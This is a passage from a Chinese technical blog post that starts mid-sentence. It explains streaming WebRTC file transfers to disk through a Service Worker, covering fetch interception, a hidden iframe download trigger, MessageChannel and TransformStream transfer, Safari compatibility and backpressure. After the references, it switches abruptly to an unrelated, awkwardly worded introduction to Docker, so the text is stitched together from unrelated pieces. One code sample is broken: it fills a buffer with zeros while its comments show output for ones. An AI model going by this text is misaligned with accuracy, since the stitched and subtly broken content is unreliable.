开发的环境的
lib
主要是
dom

dom.iterable

esnext
,而由于
Worker
中的全局变量以及持有的方法并不相同,因此其本身的
lib
环境需要改为
WebWorker

ESNext
,且如果不主动引入或者导出模块,
TS
会认为其是作为
d.ts
使用,因此即使我们在没有默认导入导出的情况下也要默认导出个空对象,而在有导入的情况下则需要注意将其在
tsconfig

include
相关模块。

// packages/webrtc/client/worker/index.ts
/// <reference lib="esnext" />
/// <reference lib="webworker" />
declare let self: ServiceWorkerGlobalScope;
export {};

Service Worker
本身作为独立的
Js
文件,其必须要在同源策略下运行,这里如果需要关注部署环境的路由环境的话,需要将其配置为独立的路由加载路径。而对于我们的静态资源本身来说则需要将我们实现的独立
Worker
作为入口文件配置到打包工具中,并且为了方便处理
SW
是否注册以及缓存更新,通常我们都是将其固定为确定的文件名,以此来保证其在缓存中的唯一性。

// packages/webrtc/rspack.client.js
/**
 * @type {import("@rspack/cli").Configuration}
 */
const Worker = {
  context: __dirname,
  entry: {
    worker: "./client/worker/index.ts",
  },
  devtool: isDev ? "source-map" : false,
  output: {
    clean: true,
    filename: "[name].js",
    path: path.resolve(__dirname, "build/static"),
  },
};

module.exports = [/** ... */, Worker];


Service Worker
中,我们可以在其
install
事件和
activate
事件中分别处理其安装与激活的逻辑,通常新的
Service Worker
安装完成后会进入等待阶段,直到旧的
Service Worker
被完全卸载后再进行激活,因此我们可以直接在
onInstall

skipWaiting
,在
onActive
事件中,我们可以通过
clients.claim
在激活后立即接管所有的客户端页面,无需等待页面刷新,这对于我们调试
SW
的时候非常有用。

// packages/webrtc/client/worker/index.ts
self.addEventListener("install", () => {
  self.skipWaiting();
  console.log("Service Worker Installed");
});

self.addEventListener("activate", event => {
  event.waitUntil(self.clients.claim());
  console.log("Service Worker Activate");
});

请求拦截

接下来我们就要来研究一下
Service Worker
的拦截网络请求能力了,在
MDN
中存在对于
Fetch Event
的详细描述,而且
Fetch Event
是仅能够在
Service Worker
中使用的。而在这里我们的拦截请求与响应则非常简单,我们只需要从请求的地址中获取相关信息,即
id

name

size

total
,然后通过
ReadableStream
构造
Response
作为响应即可,这里主要需要关注的是
Content-Disposition

Content-Length
两个响应头,这是我们触发下载的关键配置。

// packages/webrtc/client/worker/index.ts
self.onfetch = event => {
  const url = new URL(event.request.url);
  const search = url.searchParams;
  const fileId = search.get(HEADER_KEY.FILE_ID);
  const fileName = search.get(HEADER_KEY.FILE_NAME);
  const fileSize = search.get(HEADER_KEY.FILE_SIZE);
  const fileTotal = search.get(HEADER_KEY.FILE_TOTAL);
  if (!fileId || !fileName || !fileSize || !fileTotal) {
    return void 0;
  }
  const transfer = map.get(fileId);
  if (!transfer) {
    return event.respondWith(new Response(null, { status: 404 }));
  }
  const [readable] = transfer;
  const newFileName = encodeURIComponent(fileName).replace(/['()]/g, escape).replace(/\*/g, "%2A");
  const responseHeader = new Headers({
    [HEADER_KEY.FILE_ID]: fileId,
    [HEADER_KEY.FILE_SIZE]: fileSize,
    [HEADER_KEY.FILE_NAME]: newFileName,
    "Content-Type": "application/octet-stream; charset=utf-8",
    "Content-Security-Policy": "default-src 'none'",
    "X-Content-Security-Policy": "default-src 'none'",
    "X-WebKit-CSP": "default-src 'none'",
    "X-XSS-Protection": "1; mode=block",
    "Cross-Origin-Embedder-Policy": "require-corp",
    "Content-Disposition": "attachment; filename*=UTF-8''" + newFileName,
    "Content-Length": fileSize,
  });
  const response = new Response(readable, {
    headers: responseHeader,
  });
  return event.respondWith(response);
}

在这里还有一件有趣的事情,在上面的实现中我们可以看到对于从请求地址中取得相关信息的检查,如果检查不通过则返回
undefined
。这实际上是个很常见的拦截
Case
,即不符合条件的请求我们直接放行即可,而在之前我一直比较纳闷的问题是,任何经过
Service Worker
拦截的请求都会在我们的
Network
控制台面板中出现带着齿轮符号的请求,也就是从
Service Worker
中发起的请求,这样在调试的时候会显得非常混乱。

实际上这就单纯是我们使用出现了问题,从提示信息能够明显地看出来这是从
Service Worker
中发起的请求,而实际上这个请求我们直接让其通过原本的链路请求即可,不需要从
Service Worker
中实际代理,而触发这个请求条目的主要原因是我们调用了
fetch
方法,而无论是直接返回
fetch
还是通过
event.respondWith(fetch)
都会触发这个请求条目,因此我们在拦截请求的时候,如果不符合条件则直接返回
undefined
即可。

// 会再次发起请求
return fetch(event.request);
return event.respondWith(fetch(event.request));

// 不会再次发起请求
return ;

那么我们需要接着思考一个问题,应该如何触发下载,这里的
Service Worker
仅仅是拦截了请求,而在
WebRTC
的传输中并不会实际发起任何
HTTP
请求,因此我们需要主动触发这个请求,得益于
Service Worker
可以拦截几乎所有的请求,包括静态资源、网络请求等,因此我们可以直接借助创建
Iframe
的方式配合约定好的字段名来实现下载,在这里实际上就是我们最开始提到的那个比较奇怪的链接地址了。

// packages/webrtc/client/worker/event.ts
const src =
  `/${fileId}` +
  `?${HEADER_KEY.FILE_ID}=${fileId}` +
  `&${HEADER_KEY.FILE_SIZE}=${fileSize}` +
  `&${HEADER_KEY.FILE_TOTAL}=${fileTotal}` +
  `&${HEADER_KEY.FILE_NAME}=${fileName}`;
const iframe = document.createElement("iframe");
iframe.hidden = true;
iframe.src = src;
iframe.id = fileId;
document.body.appendChild(iframe);

在这里我们可能会好奇一个问题,为什么我们的请求信息是从
URL
上获取,而不是直接在原始请求的时候就构造完成相关的
Header
信息,在
Service Worker
中直接将约定的响应头直接转发即可,也就是说为什么要用
Iframe
而不是
fetch
请求并且携带请求头的方式来实现下载。实际上这是因为即使存在了
"Content-Disposition": "attachment; xxx"
响应头,
fetch
请求也不支持直接发起下载能力。

实际上在这里我还研究了一下
StreamSaver.js
的实现,这同样是个很有趣的事情,
StreamSaver.js
的运行环境本身就是个
Iframe

mitm.html
,那么我们姑且将其称为
B.html
,那么此时我们的主线程称其为
A.html
。此时我们在
B
中注册名为
B.js

Service Worker
,之后我们通过
python3 -m http.server 9000
等方式作为服务资源打开
A
的地址,新器端口
9001
打开
B
的地址,保证其存在跨域的情况。

<!-- A.html -->
<iframe src="http://localhost:9001/B.html" hidden></iframe>

<!-- B.html -->
<script>
    navigator.serviceWorker.register("./B.js", { scope: "./" });
</script>
// B.js
self.onfetch = (e) => {
  console.log(e.request.url);
  if (e.request.url.includes("ping")) {
    e.respondWith(new Response("pong"));
  }
};

此时我们在
A.html
中创建新的
iframe
地址
localhost:9001/ping
,也就是类似于在
StreamSaver.js
创建出的临时下载地址那种,我们可以发现这个地址竟然可以被监听到,即
Service Worker
可以拦截到这个请求,当时觉得这件事很神奇因为在不同域名的情况下理论上不可能被拦截的,本来以为发现了什么
iframe
的特性,最后发现我们访问的是
9001
的源地址,也就是相当于还是在
B.html
源下的资源,如果此时我们访问的是
9000
的资源则不会有这个效果了。

const iframe = document.createElement("iframe");
iframe.hidden = true;
iframe.src = "http://localhost:9001/ping";
document.body.appendChild(iframe);

此外实际上如果我们在浏览器的地址栏中直接打开
http://localhost:9001/ping
也是同样可以得到
pong
的响应的,也就是说
Service Worker
的拦截范围是在注册的
scope
范围内,那么实际上如果有必要的话,我们则完全可以基于
SW
来实现离线的
PWA
应用,而不需要依赖于服务器响应的路由以及接口。此外,这个效果在我们的
WebRTC
实现的
SW
中也是存在的,而当我们再次点击下载链接无法得到响应,是由于我们检查到
transfer
不存在,直接响应了
404

const transfer = map.get(fileId);
if (!transfer) {
  return event.respondWith(new Response(null, { status: 404 }));
}

数据通信

言归正传,接下来我们就需要实现与
Service Worker
的通信方案了,这里的实现就比较常规了。首先我们要注册
Service Worker
,在同一个
Scope
下只能注册一个
Service Worker
,如果在同一个作用域内注册多个
Service Worker
,那么后注册的
Service Worker
会覆盖先注册的
Service Worker
,当然这个问题不存在
WebWorker
中。在这里我们借助
getRegistration

register
分别来获取当前活跃的
Service Worker
以及注册新的
Service Worker

// packages/webrtc/client/worker/event.ts
if (!navigator.serviceWorker) {
  console.warn("Service Worker Not Supported");
  return Promise.resolve(null);
}
try {
  const serviceWorker = await navigator.serviceWorker.getRegistration("./");
  if (serviceWorker) {
    WorkerEvent.worker = serviceWorker;
    return Promise.resolve(serviceWorker);
  }
  const worker = await navigator.serviceWorker.register(
    process.env.PUBLIC_PATH + "worker.js?" + process.env.RANDOM_ID,
    { scope: "./" }
  );
  WorkerEvent.worker = worker;
  return worker;
} catch (error) {
  console.warn("Service Worker Register Error", error);
  return Promise.resolve(null);
}

在与
Service Worker
数据通信方面,我们可以借助
MessageChannel
来实现。
MessageChannel
是一个双向通信的通道,可以在两个不同的
Context
中传递消息,例如在主线程与
Worker
线程之间进行数据通信。我们只需要在主线程中创建一个
MessageChannel
,然后将其
port2
端口通过
postMessage
传递给
Service Worker
,而
Service Worker
则可以通过
event.ports[0]
获取到这个
port2
,此后我们就可以借助这两个
port
直接通信了。

或许我们会思考一个问题,为什么我们可以将
port2
传递到
Service Worker
中,理论上而言我们的
postMessage
只能传递可序列化
Structured Clone
的对象,例如字符串、数字等数据类型,而
port2
本身是作为不可序列化的对象存在的。那么这里就涉及到了
Transferable objects
的概念,可转移的对象是拥有属于自己的资源的对象,这些资源可以从一个上下文转移到另一个,确保资源一次仅在一个上下文中可用,在传输后原始对象不再可用,其不再指向转移后的资源,并且任何读取或者写入该对象的尝试都将抛出异常。

// packages/webrtc/client/worker/event.ts
if (!WorkerEvent.channel) {
  WorkerEvent.channel = new MessageChannel();
  WorkerEvent.channel.port1.onmessage = event => {
    console.log("WorkerEvent", event.data);
  };
  WorkerEvent.worker?.active?.postMessage({ type: MESSAGE_TYPE.INIT_CHANNEL }, [
    WorkerEvent.channel.port2,
  ]);
}

因为在这里我们暂时不需要接收来自
Service Worker
的消息,因此在这里我们对于
port1
接收的消息只是简单地打印了出来。而在初始化
CHANNEL
的时候,我们将
port2
作为可转移对象放置到了第二个参数中,以此在
Service Worker
中便可以接收到这个
port2
,由于我们以后的信息传递都是由
MessageChannel
进行,因此这里的
onmessage
作用就是很单纯的接收
port2
对象端口。

// packages/webrtc/client/worker/index.ts
self.onmessage = event => {
  const port = event.ports[0];
  if (!port) return void 0;
};

那么紧接着我们就需要使用
TransformStream
进行数据的读写了,由于
TransformStream
本身同样是可转移对象,因此我们可以将其直接定义在主线程中,然后在初始化文件下载时,将
readable
端传递到
Service Worker
中,并将其作为下载的
ReadableStream
实例构造
Response
对象。那么接下来在主线程创建
iframe
触发下载行为之后,我们就可以在
Fetch Event
中从
map
中读取
readable
了。

// packages/webrtc/client/worker/event.ts
const ts = new TransformStream();
WorkerEvent.channel.port1.postMessage(
  {
    key: MESSAGE_TYPE.TRANSFER_START,
    id: fileId,
    readable: ts.readable,
  } as MessageType,
  [ts.readable]
);
WorkerEvent.writer.set(fileId, ts.writable.getWriter());
// 构造 iframe 触发下载行为
// ...

// packages/webrtc/client/worker/index.ts
port.onmessage = event => {
  const payload = event.data as MessageType;
  if (!payload) return void 0;
  if (payload.key === MESSAGE_TYPE.TRANSFER_START) {
    const { id, readable } = payload;
    map.set(id, [readable]);
  }
};
// 在触发下载行为后 从 map 中读取 readable
// ...

在主线程中,我们关注的是内容的写入,以及内置的背压控制,由于
TransformStream
本身内部实现的队列以及背压控制,我们就不需要太过于关注数据生产造成的问题,因为在先前我们实现的
WebRTC
下载的反馈链路是完善的,我们在这里只需要借助
await
控制写入速度即可。在这里有趣的是,即使
TransformStream

readable

writable
两端现在是运行在两个上下文环境中,其依然能够进行数据读写以及背压控制。

// packages/webrtc/client/worker/event.ts
const writer = WorkerEvent.writer.get(fileId);
if (!writer) return void 0;
// 感知 BackPressure 需要主动 await ready
await writer.ready;
return writer.write(new Uint8Array(data));

那么在数据块的数量即
total
的最后一个块完成传输后,我们就需要将整个传输行为进行回收。首先是
TransformStream

writable
端需要关闭,这个
Writer
必须主动调度关闭方法,否则浏览器无法感知下载完成,会一直处于等待下载完成的状态,其次就是我们需要将创建的
iframe

body
上回收,在
Service Worker
中我们也需要将
map
中的数据进行清理,避免先前的链接还能够响应等问题。

// packages/webrtc/client/worker/event.ts
const iframe = document.getElementById(fileId);
iframe && iframe.remove();
WorkerEvent.channel?.port1.postMessage({
  key: MESSAGE_TYPE.TRANSFER_CLOSE,
  id: fileId,
} as MessageType);
const writer = WorkerEvent.writer.get(fileId);
writer?.close();
WorkerEvent.writer.delete(fileId);

// packages/webrtc/client/worker/index.ts
port.onmessage = event => {
  const payload = event.data as MessageType;
  if (!payload) return void 0;
  if (payload.key === MESSAGE_TYPE.TRANSFER_CLOSE) {
    const { id } = payload;
    map.delete(id);
  }
};

兼容考量

在现代浏览器中
Service Worker

Fetch API

Stream API
都已经得到了比较良好的支持,在这里我们使用到的相对最新特性
TransformStream
的兼容性也是不错的,在
2022
年后发布的浏览器版本基本得到了支持,然而如果我们在
MDN

TransformStream
兼容性中仔细观察一下,则会发现
TransformStream
作为
transferable

Safari
中至今还未支持。

那么在这里会造成什么问题呢,我们可以注意到在先前
TRANSFER_START
的时候,我们是将
TransformStream

readable
端作为
Transferable Object
传递到
Service Worker
中,那么此时由于
Safari
不支持这个行为,我们的
ReadableStream
自然就无法传递到
Service Worker
中,因此我们后续的下载行为就无法继续了,因此如果需要兼容
Safari
的情况下,我们需要处理这个问题。

这个问题的原因是我们无法将
ReadableStream
转移所有权到
Service Worker
中,因此可以想到的比较简单的办法就是直接在
Service Worker
中定义
ReadableStream
即可。也就是说,当传输开始时,我们实例化
ReadableStream
并且保存其控制器对象,当数据传递的时候,我们直接将数据块
enqueue
到缓冲队列中,而在传输结束时,我们直接调用
controller.close()
方法即可,而这个
readable
对象我们就可以直接作为请求拦截的
Response
响应为下载内容。

let controller: ReadableStreamDefaultController | null = null;
const readable = new ReadableStream({
  start(ctr) {
    controller = ctr;
  },
  cancel(reason) {
    console.log("ReadableStream Aborted", reason);
  },
});
map.set(fileId, [readable, controller!, Number(fileTotal)]);

self.onmessage = event => {
  const data = event.data as BufferType;
  destructureChunk(data).then(({ id, series, data }) => {
    const stream = map.get(id);
    if (!stream) return void 0;
    const [, controller, size] = stream;
    controller.enqueue(new Uint8Array(data));
    if (series === size - 1) {
      controller.close();
      map.delete(id);
    }
  });
};

那么在这里我们就会意识到先前我们聊到的背压问题,由于在这里我们没有任何背压的反馈机制,而是仅仅将主线程的数据块全部接收并且
enqueue

ReadableStream
中,那么在数据传输速度比浏览器控制的下载
IO
速度快的情况下,很容易就会出现数据积压的情况。因此我们就需要想办法实现背压的控制,那么我们就可以比较容易地想到下面的方式。

  • 在实例化
    ReadableStream
    对象的时候,我们借助
    CountQueuingStrategy
    创建足够大的缓冲区,因为本身在传输的过程中我们已经得知了整个文件的大小以及分块的数量等信息,因此创建足够大的缓冲区是可行的。当然我们可能也没必要创建等同于分块数量大小的缓冲区,我们可以将其除
    2
    取整或者取对数都可以,毕竟下载的时候也通过写硬盘在不断消费的。
  • 在实例化
    ReadableStream
    时传递的
    underlyingSource
    对象中,除了
    start
    方法外实际上还有
    pull
    方法,当流的内部数据块队列未满时将会被反复调用,直到达到其高水印,我们则可以通过这个方法的调用作为事件驱动的机制来控制流的频率,需要注意的是只有在其至少入队一个数据块才会被反复调用,如果在
    pull
    函数调用的时候没有实际入队块,则不会被重复调用。

我们在这里首先来看一下分配足够大的缓冲队列的问题,如果深入思考一下,即使分配了足够大的缓冲区,我们实际上并没有实现任何反馈机制去控制减缓数据的生产环节,那么这个缓冲区即使足够大也并没有解决我们的内存溢出问题,虽然即使实例化时分配了足够大的缓冲,也不会立即分配这么大的内存。那么此时即使我们不分配那么大的缓冲区,以默认模式实现的队列也是完全一样的,只是其内部的
desiredSize
会变成比较大的负值,而数据也并没有实际丢失,因为此时浏览器的流实现会将数据存储在内存中,直到消费方读取为止。

那么我们再来看一下第二个实现,通过
pull
方法我们确实可以获得来自
ReadableStream
的缓冲队列反馈,那么我们就可以简单实现一个控制流的方式,考虑到我们会有两种状态,即生产大于消费以及消费大于生产,那么我们就不能单纯的在
pull
的时候再拉取数据,我们应该在内部再实现一个缓冲队列,而我们的事件驱动置入数据应该有两部分,分别是缓冲队列置入数据时需要检查是否上次拉取的数据没有成功而是在等待,此时需要调度上次
pull
时未完成的
Promise
,也就是消费大于生产的情况,还有一个事件是
pull
时直接检查缓冲队列是否有数据,如果有则直接置入数据,也就是生产大于消费的情况。

const pending = new WeakMap<ReadableStream, (stream: string) => void>();
const queue = ["1", "2", "3", "4"];
const strategy = new CountQueuingStrategy({ highWaterMark: 3 });

const underlyingSource: UnderlyingDefaultSource<string> = {
  pull(controller) {
    if (!queue.length) {
      console.log("Pull Pending");
      return new Promise<void>(resolve => {
        const handler = (stream: string) => {
          controller.enqueue(stream);
          pending.delete(readable);
          console.log("Pull Restore", stream);
          resolve();
        };
        pending.set(readable, handler);
      });
    }
    const next = queue.shift();
    controller.enqueue(next);
    console.log("Pull", next);
    return void 0;
  },
};

const readable = new ReadableStream<string>(underlyingSource, strategy);
const write = (stream: string) => {
  if (pending.has(readable)) {
    console.log("Write Pending Pull", stream);
    pending.get(readable)!(stream);
  } else {
    console.log("Write Queue", stream);
    queue.push(stream);
  }
};

// 使得读取任务后置 先让 pull 将 Readable 缓冲队列拉满
setTimeout(async () => {
  // 此时 queue 队列中还存在数据 生产大于消费
  const reader = readable.getReader();
  console.log("Read Twice");
  // 读取后 queue 队列中数据已经读取完毕 消费等于生产
  console.log("Read", await reader.read());
  // 读取后 queue 队列为空 Readable 缓冲队列未满
  // 之后 Readable 仍然发起 pull 事件 消费大于生产
  console.log("Read", await reader.read());
  console.log("Write Twice");
  // 写入挂起的 pull 任务 消费等于生产
  write("5");
  // 写入 queue 队列 生产大于消费
  write("6");
}, 100);

// Pull 1
// Pull 2
// Pull 3
// Read Twice
// Pull 4
// Read {value: '1', done: false}
// Pull Pending
// Read {value: '2', done: false}
// Write Twice
// Write Pending Pull 5
// Pull Restore 5
// Write Queue 6

看起来我们实现了非常棒的基于
pull
的缓冲队列控制,但是我们仔细研究一下会发现我们似乎忽略了什么,我们是不是仅仅是将
ReadableStream
内置的缓冲队列提出来到了外边,实际上我们还是会面临内存压力,只不过这里的数据积压的位置从
ReadableStream
转移到了我们自己定义的数组之后,我们似乎完全没有解决问题。

那么我们再来思考一下问题到底是出在哪里,当我们使用
TransformStream
的时候我们的背压控制似乎仅仅是
await writer.ready
就实现了,那么这里究竟意味着什么,我们可以很明显地思考出来这里是携带者反馈机制的,也就是说当其认为内部的队列承压之后,会主动阻塞生产者的数据生产,而我们的实现中似乎并没有从
Service Worker
到主线程的反馈机制,因此我们才没有办法处理背压问题。

那么我们再看得本质一些,我们的通信方式是
postMessage
,那么在这里的问题是什么呢,或者是说如果我们想在主线程使用
await
的方式直接控制背压的话,我们缺乏的是什么,很明显是因为我们没有办法获得传输后事件的响应,那么在这里因为
postMessage
是单向通信的,我们没有办法做到
postMessage().then()
这样的操作,甚至于我们可以在
postMessage
之后立即置
ready
为挂起的
Promise
,等待响应数据的
resolve
,由此就可以做到类似的操作了。

这个操作并不复杂,那么我们可不可以将其做的更通用一些,类似于
fetch
的实现,当我们发起一个请求/推送后,我们可以借助
Promise
在一定时间内甚至一直等待其对应的响应,而由于我们的
postMessage
是单向的数据传输,我们就需要在数据的层面上增加
id
标识,以便于我们可以得知当前的响应究竟应该
resolve
哪个
Promise

考虑到这里,我们就需要处理数据的传输问题,也就是说由于我们需要对原始的数据中追加标识信息并不是一件容易的事,在
postMessage
中如果是字符串数据我们可以直接再构造一层对象,然而如果是
ArrayBuffer
数据的话,我们就需要操作其本身的
Buffer
,这显然是有些费劲的。因此我希望能够有一些简单的办法将其序列化,然后就可以以字符串的形式进行传输了,在这里我考虑了
BASE64

Uint8Array

Uint32Array
的序列化方式。

我们就以最简单的
8
个字节为例,分别计算一下序列化之后的
BASE64

Uint8Array

Uint32Array
体积问题。如果我们此时数据的每位都是
0
的话,分别计算出的编码结果为
AAAAAAAAAAA=

[0,0,0,0,0,0,0,0]

[0,0]
,占用了
12
字符、
17
字符、
5
字符的体积。

const buffer = new ArrayBuffer(8);
const input = new Uint8Array(buffer);
input.fill(0);

const binaryStr = String.fromCharCode.apply(null, input);
console.log("BASE64", btoa(binaryStr)) ; // AAAAAAAAAAA=
const uint8Array = new Uint8Array(input);
console.log("Uint8Array", uint8Array); // Uint8Array(8) [0, 0, 0, 0, 0, 0, 0, 0]
const uint32Array = new Uint32Array(input.buffer);
console.log("Uint32Array", uint32Array); // Uint32Array(2) [0, 0]

在上边的结果中我们看起来是
Uint32Array
的序列化结果最好,然而这是我们上述所有位都填充为
0
的情况,然而在实际的传输过程中肯定是没有这么理想的,那么我们再举反例,将其全部填充为
1
来测试效果。此时的结果就变得不一样了,分别计算出的编码结果为
//////////8=

[255,255,255,255,255,255,255,255]

[4294967295,4294967295]
,占用了
12
字符、
33
字符、
23
字符的体积。

const buffer = new ArrayBuffer(8);
const input = new Uint8Array(buffer);
input.fill(0);

const binaryStr = String.fromCharCode.apply(null, input);
console.log("BASE64", btoa(binaryStr)) ; // //////////8=
const uint8Array = new Uint8Array(input);
console.log("Uint8Array", uint8Array); // Uint8Array(8) [255, 255, 255, 255, 255, 255, 255, 255]
const uint32Array = new Uint32Array(input.buffer);
console.log("Uint32Array", uint32Array); // Uint32Array(2) [4294967295, 4294967295]

这么看起来,还是
BASE64
的序列化结果比较稳重,因为其本身就是按位的编码方式,其会将每
6 bits
编码共
64
按照索引取数组中的字符,这样就变成了每
3
个字节即
24 bits
会编码为
4
个字符变成
32 bits
,而此时我们有
8
个字节也就是
64 bits
,不能够被
24 bits
完全整除,那么此时我们先处理前
6
个字节,如果全位都是
0
的话,那么前
8
个字符就全部是
A
,而此时我们还剩下
16 bits
,那么我们就填充
8 bits
将其凑为
24 bits
,然后再编码为
4
个字符(最后
6 bits

=
填充),因此最终的结果就是
12
个字符。

然而在这里我发现是我想多了,实际上我们并不需要考虑序列化的编码问题,在我们的
RTC DataChannel
确实是必须要纯字符串或者是
ArrayBuffer
等数据,不能直接传输对象,但是在
postMessage
中我们可以传递的数据是由
The Structured Clone Algorithm
算法控制的,而
ArrayBuffer
对象也是赫然在列的,而且也不需要借助
transfer
能力来实现所有权问题,其会实际执行内置的序列化方法。在我的实际测试中
Chrome

Firefox

Safari
都是支持这种直接的数据传输的,这里的传输毕竟都是在同一浏览器中进行的,其数据传输可以更加宽松一些。

<!-- index.html -->
 <script>
    navigator.serviceWorker.register("./sw.js", { scope: "./" }).then(res => {
        window.sw = res;
    })
</script>
// sw.js
self.onmessage = (event) => {
  console.log("Message", event);
  self.message = event;
};

// 控制台执行 观察 SW 的数据响应以及值
const buffer = new ArrayBuffer(8);
const input = new Uint8Array(buffer);
input.fill(255);
sw.active.postMessage({ id: "test", buffer })

那么我们对于需要从
Service Worker
响应的数据实现就简单很多了,毕竟我们现在只需要将其当作普通的对象处理就可以了,也不需要考虑任何序列化的问题。此时我们就利用好
Promise
的特性,当接收到
postMessage
响应的时候,从全局的存储中查找当前
id
对应的
resolve
,并且将携带的数据作为参数执行即可,至此我们就可以很方便地进行背压的反馈了,我们同样也可以加入一些超时机制等避免
resolve
的积压。

// 模拟 onMessage 方法
let onMainMessage: ((event: { id: string; payload: string }) => void) | null = null;
let onWorkerMessage: ((event: { id: string; payload: string }) => void) | null = null;

// 模拟 postMessage 方法
const postToWorker = (id: string, payload: string) => {
  onWorkerMessage?.({ id, payload });
};
const postToMain = (id: string, payload: string) => {
  onMainMessage?.({ id, payload });
};

// Worker
(() => {
  onWorkerMessage = ({ id, payload }) => {
    console.log("Worker Receive", id, payload);
    setTimeout(() => {
      postToMain(id, "pong");
    }, 1000);
  };
})();

// Main
(() => {
  const map = new Map<string, (value: { id: string; payload: string }) => void>();
  onMainMessage = ({ id, payload }) => {
    const resolve = map.get(id);
    resolve?.({ id, payload });
    map.delete(id);
  };
  const post = (payload: string) => {
    const id = Math.random().toString(36).slice(2);
    return new Promise<{ id: string; payload: string }>(resolve => {
      map.set(id, resolve);
      postToWorker(id, payload);
    });
  };
  post("ping").then(res => {
    console.log("Main Receive", res.id, res.payload);
  });
})();

每日一题

https://github.com/WindrunnerMax/EveryDay

参考

https://juejin.cn/post/6844904029244358670
https://github.com/jimmywarting/StreamSaver.js
https://github.com/jimmywarting/native-file-system-adapter
https://developer.mozilla.org/zh-CN/docs/Web/API/FetchEvent
https://nodejs.org/docs/latest/api/stream.html#types-of-streams
https://developer.mozilla.org/en-US/docs/Web/API/TransformStream
https://help.aliyun.com/zh/oss/user-guide/map-custom-domain-names-5
https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/a#download
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition
https://developer.mozilla.org/en-US/docs/Web/API/Streams_API/Concepts#backpressure
https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Transferable_objects
https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm

Docker 介绍

Docker 是一个强大的工具,用于高效开发、打包和部署应用程序。Docker 是一种容器管理服务。Docker 于 2013 年发布。它是开源的,可用于 Windows、macOS 和 Linux 等不同平台。Docker 正在快速交付、测试和部署代码。这样可以减少编写代码和在生产环境中运行代码之间的延迟。您可以创建称为容器的自包含环境。它可以在不同的平台上一致地运行。

Docker 是一组平台即服务 (PaaS) 产品,它使用操作系统级虚拟化以称为容器的包的形式交付软件。容器彼此隔离,并捆绑自己的软件、库和配置文件;他们可以通过定义明确的渠道相互通信。所有容器都由单个操作系统内核运行,因此使用的资源比虚拟机少。

Docker 是一个开源 容器化 平台,通过该平台,您可以将应用程序及其所有依赖项打包到一个称为容器的标准化单元中。容器重量轻,这使得它们具有可移植性,并且它们与底层基础设施和其他容器隔离。您可以在任何安装了 docker 的计算机上将 docker 镜像 作为 docker 容器运行,而无需依赖 操作系统。

为什么 Docker 很受欢迎?

Docker 因其对软件开发和部署的影响而广受欢迎。以下是 docker 流行的一些主要原因:

  • 可移植性
    : Docker 有助于开发人员将其应用程序与所有依赖项打包到单个轻量级容器中。它有助于确保不同计算环境中的性能一致。
  • 可重复性
    : 通过将应用程序及其依赖项封装在一个容器中,它可以确保软件设置在开发、测试和生产环境中保持一致。
  • 效率
    : Docker 通过其基于容器的架构优化了资源利用率。它允许开发人员在单个主机系统上运行多个隔离的应用程序。
  • 可扩展性
    : Docker 的可扩展性功能有助于开发人员在工作负载增加时更轻松地处理他们的应用程序。

Docker 的关键组件

以下是 Docker 的一些关键组件:

  • Docker Engine
    : 它是 Docker 的核心部分,用于处理容器的创建和管理。
  • Docker Image
    : 它是一个只读模板,用于创建容器,包含应用程序代码和依赖项。
  • Docker Hub
    : 它是一个基于云的存储库,用于查找和共享容器映像。
  • Dockerfile
    : 这是一个脚本,其中包含构建 docker 镜像的说明。
  • Docker Registry
    :它是 docker 镜像的存储分发系统,您可以在其中以公共和私有模式存储镜像。

Docker 架构以及 Docker 的工作原理?

Docker 使用客户端-服务器架构。Docker 客户端与 docker 守护程序通信,这有助于构建、运行和分发 docker 容器。Docker 客户端与守护程序在同一系统上运行,或者我们可以远程将 Docker 客户端与 Docker 守护程序连接。在 UNIX 套接字或网络上的 REST API 的帮助下,docker 客户端和守护程序可以相互交互。

Docker Daemon

Docker 守护程序通过与其他守护程序通信来管理所有服务。它借助 Docker 的 API 请求管理 Docker 对象,例如映像、容器、网络和卷。

Docker Client

在 docker 客户端的帮助下,docker 用户可以与 docker 交互。docker 命令使用 Docker API。Docker 客户端可以与多个守护程序通信。当 docker 客户端在 docker 终端上运行任何 docker 命令时,终端会向守护进程发送指令。Docker 守护程序从命令形状和 REST API 请求内的 docker 客户端获取这些指令。

docker 客户端的主要目标是提供一种方法来指导从 docker 注册表中提取镜像并在 docker 主机上运行它们。客户端使用的常用命令是 docker build、docker pull 和 docker run。

Docker Host

Docker 主机是一种负责运行多个容器的机器。它包括 Docker 守护程序、映像、容器、网络和存储。

Docker Registry

所有 docker 镜像都存储在 docker 注册表中。有一个公共注册表,称为 docker hub,任何人都可以使用。我们也可以运行我们的私有注册表。在 docker run 或 docker pull 命令的帮助下,我们可以从配置的注册表中提取所需的镜像。在 docker push 命令的帮助下,镜像被推送到配置的注册表中。

Docker Objects

每当我们使用 docker 时,我们都会创建和使用镜像、容器、卷、网络和其他对象。现在,我们将讨论 docker 对象:-

Docker Images

镜像包含创建 Docker 容器的说明。它只是一个只读模板。它用于存储和交付应用程序。映像是 docker 体验的重要组成部分,因为它们以以前无法实现的任何方式支持开发人员之间的协作。

Docker Containers

容器是从 docker 镜像创建的,因为它们是现成的应用程序。在 Docker API 或 CLI 的帮助下,我们可以启动、停止、删除或移动容器。容器只能访问映像中定义的那些资源,除非在容器中构建映像期间定义了其他访问权限。

Docker Storage

我们可以将数据存储在容器的可写层中,但它需要一个存储驱动程序。存储驱动程序控制和管理 Docker 主机上的镜像和容器。

以下是 Docker 中常见的数据持久化方法:

  • 数据卷(Volumes)
    :数据卷是一种特殊的目录,可以绕过容器文件系统并将数据存储在宿主机上。数据卷可以被一个或多个容器共享,并且在容器之间持久存在。使用数据卷可以方便地备份、恢复和迁移数据。
  • 绑定挂载(Bind Mounts)
    :绑定挂载允许将宿主机上的文件或目录直接挂载到容器中。这样,容器可以访问宿主机文件系统中的数据,并且对数据的修改也会反映到宿主机上。
  • 命名卷(Named Volumes)
    :命名卷是一种具有名称的数据卷,可以在多个容器之间共享,并且可以方便地管理和使用。通过为卷指定名称,可以在创建容器时直接引用该名称,并且 Docker 会自动创建和管理卷。
  • 数据卷容器(Data Volume Containers)
    :数据卷容器是一种特殊类型的容器,用于存储和管理数据卷。其他容器可以通过 --volumes-from 选项挂载这些数据卷容器,从而实现数据的共享和持久化。

Docker 网络

Docker 网络为 Docker 容器提供完全隔离。这意味着用户可以将 docker 容器链接到多个网络。它需要的操作系统实例非常少来运行工作负载。

